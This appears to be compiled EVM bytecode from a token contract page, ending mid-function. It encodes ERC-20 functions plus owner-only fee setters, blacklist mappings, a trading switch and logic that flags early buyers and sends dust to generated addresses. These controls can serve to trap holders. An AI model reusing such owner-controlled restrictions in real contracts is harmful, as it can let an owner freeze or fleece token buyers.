0565b6000602082019050919050565b6000615c9d82615c32565b615ca78185615c3d565b9350615cb283615c4e565b8060005b83811015615ce3578151615cca8882615c6d565b9750615cd583615c85565b925050600181019050615cb6565b5085935050505092915050565b600060a082019050615d056000830188614f71565b615d126020830187615c23565b8181036040830152615d248186615c92565b9050615d336060830185615095565b615d406080830184614f71565b9695505050505050565b6000604082019050615d5f6000830185614f71565b8181036020830152615d718184615c92565b90509392505050565b600060c082019050615d8f6000830189615095565b615d9c6020830188614f71565b615da96040830187615c23565b615db66060830186615c23565b615dc36080830185615095565b615dd060a0830184614f71565b979650505050505050565b600081519050615dea81614e4c565b92915050565b600080600060608486031215615e0957615e08614c7a565b5b6000615e1786828701615ddb565b9350506020615e2886828701615ddb565b9250506040615e3986828701615ddb565b915050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220ae0df284ce96cdefcf746cec602b9d9552ea5dc3f5148851be3ad21149aa1f1264736f6c634300080d0033
Deployed Bytecode
0x6080604052600436106104355760003560e01c80637d73900f11610229578063c469b6dd1161012e578063dc44b6a0116100b6578063f1d5f5171161007a578063f1d5f51714611086578063f2fde38b146110af578063f84ba65d146110d8578063f872858a14611101578063ffb54a991461112c5761043c565b8063dc44b6a014610fa1578063dd62ed3e14610fcc578063ec28438a14611009578063ef422a1814611032578063f0cd1dac1461105b5761043c565b8063c8607952116100fd578063c860795214610eb8578063c867d60b14610ee3578063cab0347114610f20578063d158272d14610f4b578063da00097d14610f765761043c565b8063c469b6dd14610e0e578063c49b9a8014610e39578063c5d2418914610e62578063c816841b14610e8d5761043c565b8063a073d37f116101b1578063a5d69d1f11610180578063a5d69d1f14610d17578063a83f53a714610d40578063a8e1515014610d6b578063a9059cbb14610da8578063c2d4640e14610de55761043c565b8063a073d37f14610c59578063a08e671f14610c84578063a457c2d714610caf578063a52dc2e714610cec5761043c565b806388790a68116101f857806388790a6814610b985780638da5cb5b14610bc35780638f70ccf714610bee578063914eb66a14610c1757806395d89b4114610c2e5761043c565b80637d73900f14610af0578063807c2d9c14610b1957806382eefb4314610b44578063844d591c14610b6f5761043c565b80632e97766d1161033a57806350b20cac116102c25780635881f3ef116102865780635881f3ef146109f557806361a23c6914610a325780636ad1fe0214610a5d57806370a0823114610a885780637d1db4a514610ac55761043c565b806350b20cac1461090e578063512f9170146109375780635342acb414610962578063557ed1ba1461099f57806357a5802f146109ca5761043c565b80633bbac579116103095780633bbac579146108155780633d1afa3e146108525780633ecad2711461087d5780634a74bb02146108ba5780634cb80fd5146108e55761043c565b80632e97766d14610759578063313ce5671461078457806339509351146107af5780633b97084a146107ec5761043c565b80631870517a116103bd5780632563ae831161038c5780632563ae831461068857806327c8f835146106b15780632af38605146106dc5780632b112e49146107055780632c4b2334146107305761043c565b80631870517a146105d05780632198cf6c146105f957806323b872dd1461062257806324d0d8731461065f5761043c565b80630d5e5c87116104045780630d5e5c87146104fb5780631245e3471461052457806314353ed11461054f5780631694505e1461057a57806318160ddd146105a55761043c565b806303c0f5d4146104415780630504bc7a1461046a57806306fdde0314610493578063095ea7b3146104be5761043c565b3661043c57005b600080fd5b34801561044d57600080fd5b5061046860048036038101906104639190614d1a565b611157565b005b34801561047657600080fd5b50610491600480360381019061048c9190614d5a565b611247565b005b34801561049f57600080fd5b506104a8611320565b6040516104b59190614e20565b60405180910390f35b3480156104ca57600080fd5b506104e560048036038101906104e09190614e78565b6113b2565b6040516104f29190614ec7565b60405180910390f35b34801561050757600080fd5b50610522600480360381019061051d9190614ee2565b6113d0565b005b34801561053057600080fd5b506105396114b0565b6040516105469190614f56565b60405180910390f35b34801561055b57600080fd5b506105646114d6565b6040516105719190614f80565b60405180910390f35b34801561058657600080fd5b5061058f6114e0565b60405161059c9190614ffa565b60405180910390f35b3480156105b157600080fd5b506105ba611506565b6040516105c79190614f80565b60405180910390f35b3480156105dc57600080fd5b506105f760048036038101906105f29190614ee2565b611510565b005b34801561060557600080fd5b50610620600480360381019061061b9190614d1a565b6115f0565b005b34801561062e57600080fd5b5061064960048036038101906106449190615015565b6116e0565b6040516106569190614ec7565b60405180910390f35b34801561066b57600080fd5b5061068660048036038101906106819190615068565b6117ba565b005b34801561069457600080fd5b506106af60048036038101906106aa9190615068565b61186c565b005b3480156106bd57600080fd5b506106c661191e565b6040516106d391906150a4565b60405180910390f35b3480156106e857600080fd5b5061070360048036038101906106fe9190614d1a565b611942565b005b34801561071157600080fd5b5061071a611a32565b6040516107279190614f80565b60405180910390f35b34801561073c57600080fd5b5061075760048036038101906107529190614d5a565b611a76565b005b34801561076557600080fd5b5061076e611b4f565b60405161077b9190614f80565b60405180910390f35b34801561079057600080fd5b50610799611b57565b6040516107a691906150db565b60405180910390f35b3480156107bb57600080fd5b506107d660048036038101906107d19190614e78565b611b6e565b6040516107e39190614ec7565b60405180910390f35b3480156107f857600080fd5b50610813600480360381019061080e91906150f6565b611c21565b005b34801561082157600080fd5b5061083c60048036038101906108379190614d5a565b611cc0565b6040516108499190614ec7565b60405180910390f35b34801561085e57600080fd5b50610867611ce0565b6040516108749190614ec7565b60405180910390f35b34801561088957600080fd5b506108a4600480360381019061089f9190614d5a565b611cf3565b6040516108b19190614ec7565b60405180910390f35b3480156108c657600080fd5b506108cf611d13565b6040516108dc9190614ec7565b60405180910390f35b3480156108f157600080fd5b5061090c60048036038101906109079190614d5a565b611d26565b005b34801561091a57600080fd5b5061093560048036038101906109309190615188565b611dff565b005b34801561094357600080fd5b5061094c611f47565b60405161095991906150a4565b60405180910390f35b34801561096e57600080fd5b5061098960048036038101906109849190614d5a565b611f6d565b6040516109969190614ec7565b60405180910390f35b3480156109ab57600080fd5b506109b4611f8d565b6040516109c19190614f80565b60405180910390f35b3480156109d657600080fd5b506109df611f95565b6040516109ec9190614f80565b60405180910390f35b348015610a0157600080fd5b50610a1c6004803603810190610a179190614d5a565b611f9b565b604051610a2991906150a4565b60405180910390f35b348015610a3e57600080fd5b50610a4761249e565b604051610a549190614f80565b60405180910390f35b348015610a6957600080fd5b50610a726124a4565b604051610a7f9190614f80565b60405180910390f35b348015610a9457600080fd5b50610aaf6004803603810190610aaa9190614d5a565b6124aa565b604051610abc9190614f80565b60405180910390f35b348015610ad157600080fd5b50610ada6124f3565b604051610ae79190614f80565b60405180910390f35b348015610afc57600080fd5b50610b176004803603810190610b1291906150f6565b6124f9565b005b348015610b2557600080fd5b50610b2e612598565b604051610b3b9190614f80565b60405180910390f35b348015610b5057600080fd5b50610b5961259e565b604051610b669190614f80565b60405180910390f35b348015610b7b57600080fd5b50610b966004803603810190610b919190614d1a565b6125a4565b005b348015610ba457600080fd5b50610bad612694565b604051610bba9190614f80565b60405180910390f35b348015610bcf57600080fd5b50610bd861269a565b604051610be591906150a4565b60405180910390f35b348015610bfa57600080fd5b50610c156004803603810190610c109190615068565b6126c3565b005b348015610c2357600080fd5b50610c2c612775565b005b348015610c3a57600080fd5b50610c436128ca565b604051610c509190614e20565b60405180910390f35b348015610c6557600080fd5b50610c6e61295c565b604051610c7b9190614f80565b60405180910390f35b348015610c9057600080fd5b50610c99612966565b604051610ca69190614f80565b60405180910390f35b348015610cbb57600080fd5b50610cd66004803603810190610cd19190614e78565b61296c565b604051610ce39190614ec7565b60405180910390f35b348015610cf857600080fd5b50610d01612a39565b604051610d0e9190614f80565b60405180910390f35b348015610d2357600080fd5b50610d3e6004803603810190610d399190615068565b612a3f565b005b348015610d4c57600080fd5b50610d55612af1565b604051610d629190614f80565b60405180910390f35b348015610d7757600080fd5b50610d926004803603810190610d8d9190614d5a565b612af7565b604051610d9f9190614ec7565b60405180910390f35b348015610db457600080fd5b50610dcf6004803603810190610dca9190614e78565b612b17565b604051610ddc9190614ec7565b60405180910390f35b348015610df157600080fd5b50610e0c6004803603810190610e079190614ee2565b612b36565b005b348015610e1a57600080fd5b50610e23612c16565b604051610e309190614f80565b60405180910390f35b348015610e4557600080fd5b50610e606004803603810190610e5b9190615068565b612c1c565b005b348015610e6e57600080fd5b50610e77612d05565b604051610e849190614f80565b60405180910390f35b348015610e9957600080fd5b50610ea2612d0b565b604051610eaf91906150a4565b60405180910390f35b348015610ec457600080fd5b50610ecd612d31565b604051610eda9190614f80565b60405180910390f35b348015610eef57600080fd5b50610f0a6004803603810190610f059190614d5a565b612d37565b604051610f179190614ec7565b60405180910390f35b348015610f2c57600080fd5b50610f35612d57565b604051610f429190614f80565b60405180910390f35b348015610f5757600080fd5b50610f60612d5d565b604051610f6d9190614f56565b60405180910390f35b348015610f8257600080fd5b50610f8b612d83565b604051610f989190614ec7565b60405180910390f35b348015610fad57600080fd5b50610fb6612d96565b604051610fc39190614f80565b60405180910390f35b348015610fd857600080fd5b50610ff36004803603810190610fee91906151e8565b612d9c565b6040516110009190614f80565b60405180910390f35b34801561101557600080fd5b50611030600480360381019061102b91906150f6565b612e23565b005b34801561103e57600080fd5b5061105960048036038101906110549190614d1a565b612ec2565b005b34801561106757600080fd5b50611070612fb2565b60405161107d9190614f80565b60405180910390f35b34801561109257600080fd5b506110ad60048036038101906110a891906150f6565b612fb8565b005b3480156110bb57600080fd5b506110d660048036038101906110d19190614d5a565b613057565b005b3480156110e457600080fd5b506110ff60048036038101906110fa9190614d1a565b613218565b005b34801561110d57600080fd5b50611116613308565b6040516111239190614ec7565b60405180910390f35b34801561113857600080fd5b5061114161331b565b60405161114e9190614ec7565b60405180910390f35b61115f61338c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e390615274565b60405180910390fd5b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b61124f61338c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d390615274565b60405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60606003805461132f906152c3565b80601f016020809104026020016040519081016040528092919081815260200182805461135b906152c3565b80156113a85780601f1061137d576101008083540402835291602001916113a8565b820191906000526020600020905b81548152906001019060200180831161138b57829003601f168201915b5050505050905090565b60006113c66113bf61338c565b8484613394565b6001905092915050565b6113d861338c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611465576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145c90615274565b60405180910390fd5b8260158190555081601681905550806017819055506114a560175461149760165460155461332e90919063ffffffff16565b61332e90919063ffffffff16565b601c81905550505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600c54905090565b602360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601e54905090565b61151861338c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159c90615274565b60405180910390fd5b8260128190555081601381905550806014819055506115e56014546115d760135460125461332e90919063ffffffff16565b61332e90919063ffffffff16565b601b81905550505050565b6115f861338c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611685576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167c90615274565b60405180910390fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60006116ed84848461355d565b506117af846116fa61338c565b6117aa85604051806060016040528060288152602001615e4460289139600960008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061176061338c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613fe49092919063ffffffff16565b613394565b600190509392505050565b6117c261338c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461184f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184690615274565b60405180910390fd5b80602460186101000a81548160ff02191690831515021790555050565b61187461338c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611901576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f890615274565b60405180910390fd5b80602460176101000a81548160ff02191690831515021790555050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b61194a61338c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ce90615274565b60405180910390fd5b80601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000611a71611a607f000000000000000000000000000000000000000000000000000000000000dead6124aa565b601e5461404890919063ffffffff16565b905090565b611a7e61338c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b0290615274565b60405180910390fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600043905090565b6000600560009054906101000a900460ff16905090565b6000611c17611b7b61338c565b84611c128560096000611b8c61338c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461332e90919063ffffffff16565b613394565b6001905092915050565b611c2961338c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611cb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cad90615274565b60405180910390fd5b8060218190555050565b600e6020528060005260406000206000915054906101000a900460ff1681565b602460189054906101000a900460ff1681565b60106020528060005260406000206000915054906101000a900460ff1681565b602460159054906101000a900460ff1681565b611d2e61338c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611dbb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db290615274565b60405180910390fd5b80600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611e0761338c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611e94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8b90615274565b60405180910390fd5b60c98383905010611ea457600080fd5b60005b83839050811015611f41578160116000868685818110611eca57611ec96152f4565b5b9050602002016020810190611edf9190614d5a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080611f3a90615352565b9050611ea7565b50505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a6020528060005260406000206000915054906101000a900460ff1681565b600042905090565b60185481565b6000611fa561338c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612032576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202990615274565b60405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015612082573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120a691906153af565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561210d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061213191906153af565b6040518363ffffffff1660e01b815260040161214e9291906153dc565b602060405180830381865afa15801561216b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061218f91906153af565b9150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612322578073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015612210573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061223491906153af565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561229b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122bf91906153af565b6040518363ffffffff1660e01b81526004016122dc9291906153dc565b6020604051808303816000875af11580156122fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061231f91906153af565b91505b81602460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080602360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600b6000602460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160106000602460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050919050565b60195481565b600c5481565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b601f5481565b61250161338c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461258e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161258590615274565b60405180910390fd5b80600f8190555050565b60205481565b601c5481565b6125ac61338c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612639576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161263090615274565b60405180910390fd5b80601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60155481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6126cb61338c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612758576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161274f90615274565b60405180910390fd5b80600760146101000a81548160ff02191690831515021790555050565b61277d61338c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461280a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161280190615274565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6060600480546128d9906152c3565b80601f0160208091040260200160405190810160405280929190818152602001828054612905906152c3565b80156129525780601f1061292757610100808354040283529160200191612952565b820191906000526020600020905b81548152906001019060200180831161293557829003601f168201915b5050505050905090565b6000602154905090565b601d5481565b6000612a2f61297961338c565b84612a2a85604051806060016040528060258152602001615e6c60259139600960006129a361338c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613fe49092919063ffffffff16565b613394565b6001905092915050565b600f5481565b612a4761338c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612ad4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612acb90615274565b60405180910390fd5b80602460166101000a81548160ff02191690831515021790555050565b601a5481565b60116020528060005260406000206000915054906101000a900460ff1681565b6000612b2b612b2461338c565b848461355d565b506001905092915050565b612b3e61338c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612bcb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bc290615274565b60405180910390fd5b826018819055508160198190555080601a81905550612c0b601a54612bfd60195460185461332e90919063ffffffff16565b61332e90919063ffffffff16565b601d81905550505050565b60145481565b612c2461338c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612cb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ca890615274565b60405180910390fd5b80602460156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15981604051612cfa9190614ec7565b60405180910390a150565b60135481565b602460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60165481565b600b6020528060005260406000206000915054906101000a900460ff1681565b60175481565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b602460169054906101000a900460ff1681565b60125481565b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b612e2b61338c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612eb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612eaf90615274565b60405180910390fd5b80601f8190555050565b612eca61338c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612f57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f4e90615274565b60405180910390fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601b5481565b612fc061338c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461304d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161304490615274565b60405180910390fd5b8060208190555050565b61305f61338c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146130ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130e390615274565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361315b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161315290615477565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61322061338c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146132ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016132a490615274565b60405180910390fd5b80600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b602460179054906101000a900460ff1681565b600760149054906101000a900460ff1681565b600080828461333d9190615497565b905083811015613382576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161337990615539565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603613403576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016133fa906155cb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603613472576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016134699061565d565b60405180910390fd5b80600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516135509190614f80565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036135cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016135c4906156ef565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361363c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161363390615781565b60405180910390fd5b600760149054906101000a900460ff166136c65761365861269a565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16146136c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016136bc90615813565b60405180910390fd5b5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156137a557602460189054906101000a900460ff1680613765575061373661269a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b6137a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161379b9061587f565b60405180910390fd5b5b602460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361388757602460189054906101000a900460ff1680613847575061381861269a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b613886576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161387d9061587f565b60405180910390fd5b5b602460149054906101000a900460ff16156138ae576138a7848484614092565b9050613fdd565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156139585750602460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156139655743600c819055505b602254421061398f57600060188190555060006019819055506000601b819055506000601c819055505b602460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603613a5457600f54600c546139f49190615497565b4311613a53576001600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b613a5c61269a565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015613aca5750613a9a61269a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15613ada57613ad98483614265565b5b601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015613b7e5750601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15613bf657600080600090505b60008113613be357808442604051602001613ba8939291906158eb565b6040516020818303038152906040528051906020012060001c9150613bcf86836064614092565b508080613bdb90615928565b915050613b8b565b5061012c83613bf29190615970565b9250505b6000613c01306124aa565b905060006021548210159050808015613c275750602460149054906101000a900460ff16155b8015613c7d5750601060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015613c955750602460159054906101000a900460ff165b15613cbf57602460169054906101000a900460ff1615613cb55760215491505b613cbe8261438f565b5b613d48846040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613fe49092919063ffffffff16565b600860008873ffffffffffffffffff